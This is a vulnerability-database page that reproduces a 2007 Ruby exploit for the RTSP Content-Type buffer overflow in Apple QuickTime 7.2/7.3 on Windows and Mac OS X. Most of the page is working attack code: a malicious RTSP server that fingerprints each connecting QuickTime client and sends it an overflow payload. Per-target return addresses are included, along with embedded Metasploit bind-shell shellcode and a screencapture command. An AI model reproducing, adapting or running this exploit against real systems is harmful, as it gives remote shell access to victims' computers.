Lucene search
K

Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (win/osx)

🗓️ 30 Nov 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 36 Views

Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (win/osx

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2002-0252
3 May 200204:00
cve
Cvelist
CVE-2002-0252
3 May 200204:00
cvelist
Exploit DB
Apple QuickTime 7.2/7.3 (OSX/Windows) - RSTP Response Universal
29 Nov 200700:00
exploitdb
EUVD
EUVD-2002-0249
7 Oct 202500:30
euvd
exploitpack
Apple QuickTime 7.27.3 (OSXWindows) - RSTP Response Universal
29 Nov 200700:00
exploitpack
NVD
CVE-2002-0252
29 May 200204:00
nvd
Packet Storm
aquick-winosx.txt
30 Nov 200700:00
packetstorm
securityvulns
Переполнение буфера в Apple Quick Time (buffer overflow)
12 Feb 200200:00
securityvulns
securityvulns
AuickTime buffer overflow
2 Dec 200700:00
securityvulns
seebug.org
Apple QuickTime 7.2/7.3 - RSTP Response Universal Exploit (win/osx)
1 Jul 201400:00
seebug
Rows per page

                                                # Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
#   http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
#   http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
#   From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
#   http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
#   BID: http://www.securityfocus.com/bid/26549
#
# Notes:
#   Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f
#                     \x3a \x3c \x3e \x3f \x40
#
#   The example addresses and data will trigger an IDS signature easily.
#   Remove them if you're not testing, and change padding sizes accordingly. 
#   Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
#   Kevin Finisterre, for providing PowerPC testing environment and general
#   aid in the development and proofing of this code for Mac OS X on PPC.

#   HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#

require 'socket'
include Socket::Constants

def String.rand_alpha(size = 16)
  (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end

module MiscUtils
  def self.myputs(msg)
    puts "#{$0}: #{msg}"
  end
  
  # From Metasploit Rex library:
  # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
  def self.rel_number(num, delta = 0)
    s = num.to_s
    case s[0, 2]
      when '$+'
       num = s[2 .. -1].to_i
      when '$-'
       num = -1 * s[2 .. -1].to_i
      when '0x'
       num = s.hex
      else
       delta = 0
    end
    return num + delta
  end
end

# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" +
"\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" +
"\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" +
"\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +
"\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" +
"\x80"

# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" +
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" +
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" +
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" +
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" +
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" +
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" +
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" +
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" +
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" +
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" +
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" +
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" +
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" +
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" +
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" +
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" +
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" +
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" +
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" +
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" +
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" +
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" +
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" +
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" +
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" +
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" +
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" +
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" +
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" +
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" +
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" +
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" +
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" +
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" +
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" +
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" +
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" +
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" +
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" +
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" +
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" +
"\x4f\x48\x56\x69\x6f\x6a\x70\x42"

module AppleOSX
class QuicktimeRedux
  TARGET_MATRIX = {
    # Mac OS X Leopard on PowerPC (ppc)
    "7.3-Mac 10.5.1-PPC" => {
      # Stack on PPC is still executable
      :ret_address  => 0xbfffcb0c+50,
      :padding_size => 559,
      
      # Shellcode will -likely- require changes here
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        [0xdead4150].pack("N") +  #
        [0xdead4151].pack("N") +  #
        [0xdead4152].pack("N") +  # at $sp+0
        [0xdead4153].pack("N")    # at $sp+4
      ),
      :append_data  => (""),
      :shellcode    => ( "\x69" * 120 )
    },
    
    # Mac OS X Leopard on IA32 (x86) build 9B18
    "7.3-Mac 10.5.1-IA32" => {
      # Return-to-dyld stub is not reliable unless the machine
      # hasn't randomized the dyld base address.
      :ret_address  => 0xdeadbeef,
      :padding_size => 291,
      :prepend_data => (
        [0x11223344].pack("V")  +      # ebx
        [0x41424142].pack("V")  +      # esi
        [0x31337666].pack("V")  +      # edi
        [0xdefacedd].pack("V")         # ebp
      ),
      :append_data  => (
        [0xa0a7e44a].pack("V")  +      # to dyld_stub_exit
        [0xbffffaa3].pack("V")         # address to /bin/bash
      ),
      
      :shellcode    => (
        "screencapture -S ~/Desktop/US.png; exit;" +
        ("\x90" * 130) + MSF_OSX_X86
      )
    },
    
    # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
    # Apparently, it advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-IA32" => {
      # Return-to-dyld stub works reliably on Tiger
      # 0xa0be2280 for dyld_stub_system
      :ret_address  => 0xa0be2280,
      :padding_size => 291,
      :prepend_data => (
        [0x917f1413].pack("V")  +      # ebx
        [0xffffeae6].pack("V")  +      # esi
        [0x14533050].pack("V")  +      # edi
        [0xbfffd27c].pack("V")         # ebp
      ),
      
      # exit() stub is problematic with some atexit code
      # because of corrupted frames, we use abort() instead.
      # A /bin/bash string (from env) is usually at 0xbffffc23
      # when running under gdb, or 0xbffffe5c if started
      # via dock. If started from Terminal, it's at 0xbffffc3e.
      :append_data  => (
        [0xa0815587].pack("V")  +      # to dyld_stub_abort
        [0xbffffc3e].pack("V")         # address system() command
      ),
      
      # NOP sled + Metasploit shellcode + NOP sled + int3
      :shellcode    => (
        ("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc"
      )
    },
    
    # Mac OS X Tiger on PowerPC (PPC)
    # It also advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-PPC" => {
      # Stub address for system() contains a null byte.
      # system() address contains filtered char.
      :ret_address  => 0xdeadbeef,
      :padding_size => 559,
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        String.rand_alpha(16)
      ),
      :append_data  => (
        [0x942bce80].pack("N")  + # to dyld_stub_abort
        [0x58585858].pack("N")
      ),
      :shellcode    => (
        "\x69" * 120
      )
    },
    
    # Microsoft Windows targets
    
    # 7.3 on XP SP2, based on the original Metasploit module by MC
    # This one is elegant and reliable :)
    # (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
    "7.3-Windows NT 5.1Service Pack 2-IA32" => {
      # pop esi; pop ebx; ret
      :ret_address  => 0x67644297,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (
        "\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
        "\x90\x90"
      ),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    },
    
    # 7.3 on Vista
    # We are not including it yet, feel free to play around
    "7.3-Windows NT 6.0-IA32" => {
      :ret_address  => 0xdeadbeef,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (""),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    }
  }
  
  # Generates headers for a Quicktime RTSP response, and injects
  # the payload into the Content-Type header (including the padding).
  def make_header(body_length, payload)
    "RTSP/1.0 200 OK\r\n"                           +
    "CSeq: 1\r\n"                                   +
    "Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n"  +
    "Content-Type: #{payload}\r\n"                  +
    "Content-Length: #{body_length}\r\n"            +
    "\r\n"
  end
  
  # Generates a body for a Quicktime RTSP response
  def make_body
    rand_str = String.rand_alpha(rand(10)+1)
    rand_nam = String.rand_alpha(rand(20)+1)
    "v=0\r\n"                                                   +
    "o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n"              +
    "s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n"          +
    "i=#{@mpfile}\r\n"                                          +
    "t=0 0\r\n"                                                 +
    "a=tool:#{rand_nam}\r\n"                                    +
    "a=type:broadcast\r\n"                                      +
    "a=control:*\r\n"                                           +
    "a=range:npt=0-213.077\r\n"                                 +
    "a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n"  +
    "a=x-qt-text-inf:#{@mpfile}\r\n"                            +
    "m=audio 0 RTP/AVP 14\r\n"                                  +
    "c=IN IP4 0.0.0.0\r\n"                                      +
    "a=control:track1\r\n"
  end
  
  # Construct a payload without filtered characters, for the target provided.
  # The information is extracted from the target matrix variable.
  def build_payload(target)
    target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
    selected    = TARGET_MATRIX[target_name]
    unless selected
      MiscUtils::myputs "Target not available, check User-Agent format!"
       MiscUtils::myputs target_name
      return ''
    end
    
    MiscUtils::myputs "Building payload for '#{target_name}'..."
    MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
                      "shellcode: #{selected[:shellcode].size} bytes."
    
    payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)
    
    unless target[:os] =~ /Windows/
      payload << selected[:shellcode]
      payload << selected[:prepend_data]
      
      # Handle big-endian / little-endian
      if target[:arch] == "PPC"
        payload << [selected[:ret_address]].pack("N")
      else
        payload << [selected[:ret_address]].pack("V")
      end
    else
      payload << selected[:prepend_data]
      payload << [selected[:ret_address]].pack("V")
      payload << selected[:shellcode]
    end
    
    # Appended data comes always at end of payload
    payload << selected[:append_data]
    
    MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"
    
    return payload
  end
  
  # Threaded 'listener': waits until a Quicktime client connects and fingerprints
  # its version, architecture and operating system version. Builds a response with
  # the correct payload and sends it back to the client.
  def exploit
    loop do
      socket = @server.accept
      Thread.start do
        s    = socket
        port = s.peeraddr[1]
        name = s.peeraddr[2]
        addr = s.peeraddr[3]
        
        MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"
        
        request = s.recv(1024)
        # Verify it's Quicktime and not some other application
        # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
        if request =~ /User-Agent: QuickTime/i
          target = Hash.new
          
          if request =~ /Windows/
            qtver = request.scan(/\(qtver=(.+?);os=(.+?)\)\r\n/).flatten
            target[:version] = qtver[0]
            target[:arch]    = "IA32"
            target[:os]      = qtver[1]
          else
            qtver = request.scan(/\(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
            target[:version] = qtver[0]
            target[:arch]    = qtver[1]
            target[:os]      = qtver[2]
          end
          
          MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"
          
          # Build payload and the full response body
          begin
            payload = build_payload(target)
            body    = make_body()
            header  = make_header(body.size, payload)
            resp    = (header+body)
          rescue
            raise "Something happened trying to build a response!"
          end
          
          # Send it to the client
          s.write(resp)
          
          MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
        else
          # It's not a Quicktime client
          MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
          s.write(String.rand_alpha(rand(500)))
        end
      end
    end
  end
  
  # Initialize the exploit with the local listening port, server socket, etc.
  def initialize(rtsp_port = 554)
    @server = TCPServer.new("0.0.0.0", rtsp_port)
    @mpfile = String.rand_alpha(rand(12)+1) + '.mp3'
    
    rtsp_addrs  = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
    MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
    MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
  end
end
end

trap("INT") do
  puts "Exiting!"
  exit
end

puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation